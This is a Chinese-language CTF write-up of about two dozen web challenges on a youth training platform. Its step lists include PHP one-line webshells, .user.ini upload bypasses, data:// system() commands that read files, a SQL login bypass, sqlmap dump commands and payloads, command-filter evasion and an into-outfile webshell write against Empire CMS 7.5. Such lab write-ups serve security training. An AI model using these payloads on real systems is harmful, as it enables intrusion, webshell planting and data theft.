青少年CTF训练平台-Web-WriteUP

    一、Web-Easy

   105.CheckIn

   

 

 

     (1)文件上传几个步骤,①修改文件头为image/jpeg②修改php后缀为phtml,php1-9,php.等,均被过滤。

     (2)测试上传.htaccess文件和.user.ini文件,没有被过滤,nginx用ini绕过,apache用htaccess绕过;使用burp改数据包,发现png后缀能上传,以及一句话木马需要使用变形。

    注:.user.ini绕过要求在同一目录内,存在index.php才能利用

 

 

    (3)接下来上传.user.ini,让同一目录内的index.php包含123.png的内容执行。

 

 

    (4)上蚁剑得到flag:qsnctf{56ba8cfa-14b0-4996-ac4c-edfdc72187a0}

   

 

 

 

 

 

 

 

 

    110.PingMe

   

 

   

 

 

   

 

 

     简单的命令执行漏洞,输入指令后没有发现flag,应该是注释了,右键查看页面源代码得到flag:flag{s0_3asy_flag_g1ve_you}

 

    111.easyupload

   

 

   

 

    文件上传几个步骤,①修改文件头为image/jpeg②修改php后缀为phtml,php1-9,php.等,题目没有做过多限制,php就可以上传

    访问upload/678.php发现上传马成功,上蚁剑连接。

   

 

    得到flag:flag{upload-Yes!!!}

 

     112.signin

   

 

   

 

     分析代码,传入filename和data,将data数据写入到filename里面。这一题翻查的书籍《从0到1 CTFer成长之路》

    (1)post方式输入filename=1.php/.&data=<?php eval($_POST[shell]);?>

    

 

 

   (2)上蚁剑,得到flag:flag{4ac93603cea737970d9b164dfab069c3}

   

 

 

     137.帝国CMS01

    

   

 

    (1)右键查看页面源代码没有发现有用信息

    (2)上dirsearch扫描目录

   

 

     (3)发现www.zip,下载查看发现被挂马/e/shell.php

   

 

    (4)上蚁剑

   

 

     得到flag:qsnctf{1f020363-2d9e-44a3-9084-260527d7e472}

 

    139.帝国CMS02

   

   

    (1)右键查看页面源代码没有发现有用信息

    (2)上dirsearch扫描目录,最终扫到后台登录目录/e/admin

    

 

    (3)尝试使用burp的爆破模块进行密码爆破,很遗憾告诉你,密码输错5次后要等待60分钟

   

 

    (4)尝试添加X-Forwarded-For头,设置不同的IP地址就又可以进行爆破,但每个IP只有5次机会,百度搜索burp的攻击模块,得出用BurpFakeIP插件

    

 

    (5)通过网址https://github.com/TheKingOfDuck/burpFakeIP下载插件

   

    (6)添加插件

   

 

    (7)设置爆破模块参数

   

    (8)得到登录密码123456789

    (9)得到flag

 

    flag:qsnctf{ac09d2b1-8164-45fa-b749-a34316e71947}

 

 

 

 

 

 

 

 

 

 

 

 

    173.Web签到

   

 

    

 

     来到网站页面,显示“欢迎来到青少年CTF你知道这道题考察什么吗?”

    (1)右键查看页面源代码没有发现有用信息。

    (2)使用kali的dirsearch模块扫目录。使用命令  dirsearch -u http://(网址)

   

 

     扫出目录index,php.bak,访问得到flag:qsnctf{53cbfb62-687d-4584-9462-574bd7d644da}

   

 

 

    174.Flag在哪里?

   

 

    

 

    (1)右键查看页面源代码,发现无法右键;按F12点击查看器

 

     在网页head部分发现flag: qsnctf{29f07ef9-57ad-4d17-b94a-09deac33bf7e}

 

    175.Robots

   

 

  

 

    根据题目提示,直接在网址后面加入/robots.txt得到flag:f1ag_1n_the_h3re.php

 

    176.POST&GET

   

 

   

 

    根据提示使用HackBar,使用get和post方式得到flag:qsnctf{a004e94b-a026-4d3d-8efe-fd75d3f5debc}

 

    191.CheckMe01

   

   输入框随便输入显示以下代码

  

 

 

    

 

    分析代码得出,只要$keys==qsnctf即可得到flag

    而$keys是通过post方式传输key值后,对key先进行url解码,再进行base64解码,因此先将qsnctf进行base64传码,再进行url转码即可。

   

 

 

    

 

 

     最后得到flag:qsnctf{063f82ef-9397-410c-9a50-dbb145d61a49}

    

    192.CheckMe02

   

 

 

    

 

   

 

    文件包含题目

    先后使用data:,<?php system("ls");?>     |     data:,<?php system("ls ../../../../");?>      |     data:,<?php system("cat ../../../../flag");?>

    得到flag:qsnctf{82dc7b32-491e-4686-9412-0d4a83e5e24f}

 

   

 

 

    193.CheckMe03

   

 

 

     (1)这次所有的伪协议都被过滤了,data、php大小写绕过都被过滤了

 

 

    

 

    (2)通过对中间件的日志文件做文章

   

 

    (3)发现日志文件会记录访问的UA头,因此使用burp修改UA头达到插入php函数的目的。需要注意的是,本想插入一句话木马,没想到直接就插崩了,只能插入<?php phpinfo();?>

   

 

    得到flag:qsnctf{111fadcc-76ce-4043-b360-62c3303679d5}

 

    194.CheckMe04

   

 

 

    

 

    (1)分析代码,通过get方式输入字符型a以及数字型b,而a与b经过MD5加密后相等。

    (2)翻查md5()函数发现弱比较的绕过点。

   

 

 

    

 

 

     得到flag:qsnctf{60e2998f-12a4-4b54-80c8-61a62c8c00e9}

 

    215.CheckMe05

   

 

 

    

 

    分析代码,需要通过get方式传入a与b;判断条件a不等于b,但是a与b的MD5值强等于,就不能使用CheckMe04的方法,但是可以通过数组的方式绕过。

 

    

 

    得到flag:qsnctf{97d7d338-76a8-4861-8917-3819db9720ba}

 

 

    222.CheckMe06

   

 

    (1)下载list.txt发现是一堆密码,很明显是用burp的爆破模块

    

 

   

   

   得到密码19861022,输入得到flag:qsnctf{fc1044c2-7951-428b-861a-67f9dd6f8f61}

 

    228.CheckMe07

   

   

 

    跟CheckMe06一样的登录界面,尝试用万能密码(1' or 1=1#)登录,登录成功得到flag:qsnctf{0fab3f2f-70e5-449c-b41d-4775509f72d2}

   

 

 

    240.CheckMe08

    

 

     (1)尝试万能密码(1' or 1=1#)登录,不成功。

     (2)上sqlmap进行爆破

   

    抓到数据包后保存为文件,放到sqlmap里进行爆破

        (1)爆数据库:sqlmap -r xxx.txt --batch --current-db

   

    得到    Payload: username=admin' AND (SELECT 7087 FROM (SELECT(SLEEP(5)))UwLB) AND 'WYCP'='WYCP&password=admin

    得到数据库为sql。

     (2)爆表:sqlmap -r xxx.txt --batch -D sql  --tables

   

    得到表为user。

    (3)爆列:sqlmap -r xxx.txt --batch -D sql  -T user --columns

  

 

     得到列名id、password、username。

    (4)爆字段sqlmap -r xxx.txt --batch -D sql  -T user -C"id,password,username" --dump

   

 

     得到flag:qsnctf{d690803d-2f8a-4acd-8c43-8b7fc8ac1c85}

   

 

 

 

 

 

 

 

    230.PingMe02

   

 

    各种过滤,过滤了空格,用$IFS$9代替,过滤了cat用c'a't代替,过滤了flag使用fla?代替,最终得到flag:qsnctf{272f99d2-3b9a-4467-8e33-0af76bcc0628}

   

 

    257.Queen

    

   

 

    

 

     (1)万能密码无法登陆,并且对来源ip有限制,猜测需要使用X-Forwarded-For使来源ip变成127.0.0.1

     (2)burp修改X-Forwarded-For参数后,sqlmap一把so

   

    (3)爆数据库:sqlmap -r xxx.txt --batch --current-db

    得到       Payload: username=admin&password=admin'+(SELECT 0x6159654b WHERE 9502=9502 AND (SELECT 7587 FROM(SELECT COUNT(*),CONCAT(0x7176707071,(SELECT (ELT(7587=7587,
1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+'

    得到数据库为sql。

     (3)爆表:sqlmap -r xxx.txt --batch -D sql  --tables,得到表为user。

     (4)爆列:sqlmap -r xxx.txt --batch -D sql  -T user --columns,得到列名id、password、username。

     (5)爆字段sqlmap -r xxx.txt --batch -D sql  -T user -C"id,password,username" --dump

     得到flag:qsnctf{9ef215c1-a82c-49b1-9647-55b2b0e7d9df}

     很奇怪的是,用kali自带的sqlmap无法爆破出来!!!

   

 

    264.2个SQL

   

 

     (1)登录后发现是一个登录框,并且有注册和忘记密码的页面,忘记密码页面暂时没有发现有什么作用

   

   

   

 

    (2)随便注册一个账号(admin肯定是不能注册的),登录后发现存在修改密码页面。题目2个SQL,尝试使用二次注入

    (3)注册账号admin'#123,密码为1

   

 

    (4)注册成功后用admin'#123账号进行登录

    (5)修改密码后就可以间接修改admin管理员的密码,通过updata更新账号密码语句,账号中admin'#123中的'进行闭合,#注释后续SQL语句,达到修改admin账号的目的

    

   

    (6)使用admin账号登录得到flag

   

 

    

 

    

 

     flag:qsnctf{34913c37-e238-41dd-97af-88d6d0487ac7}

 

     二、Web-Middle

    140.帝国CMS03

   

 

     (1)前面做法跟帝国CMS02一致,通过账号admin,密码123456789登录

    

 

    (2)根据题目提示“可参考现成的CVE,CMS版本为7.5。”,网址为https://blog.csdn.net/m0_60411436/article/details/121943767和http://t.zoukankan.com/LEOGG321-p-13882655.html

    (3)有多种漏洞利用方式,比较熟悉代码注入的方式

   

 

    (4)获取主页面路径,使用burp抓包

 

     (5)修改数据包teblename参数为phpinfo()

 

     (6)得到根目录/var/www/html

   

 

     (7)执行命令select 'GIF89a <?php eval($_POST[shell]); ?>' into outfile "/var/www/html/shell.php",写入一句话木马到网站根目录

 

    (8)上蚁剑

   

   

 

    (9)访问/flag得到flag:qsnctf{cb77edc2-6bdc-45f8-8563-097e1f8eb40d}

     有空可以尝试其他几种漏洞利用

 

 

 

 

 

   

 

posted @   指骏为马  阅读(1840)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示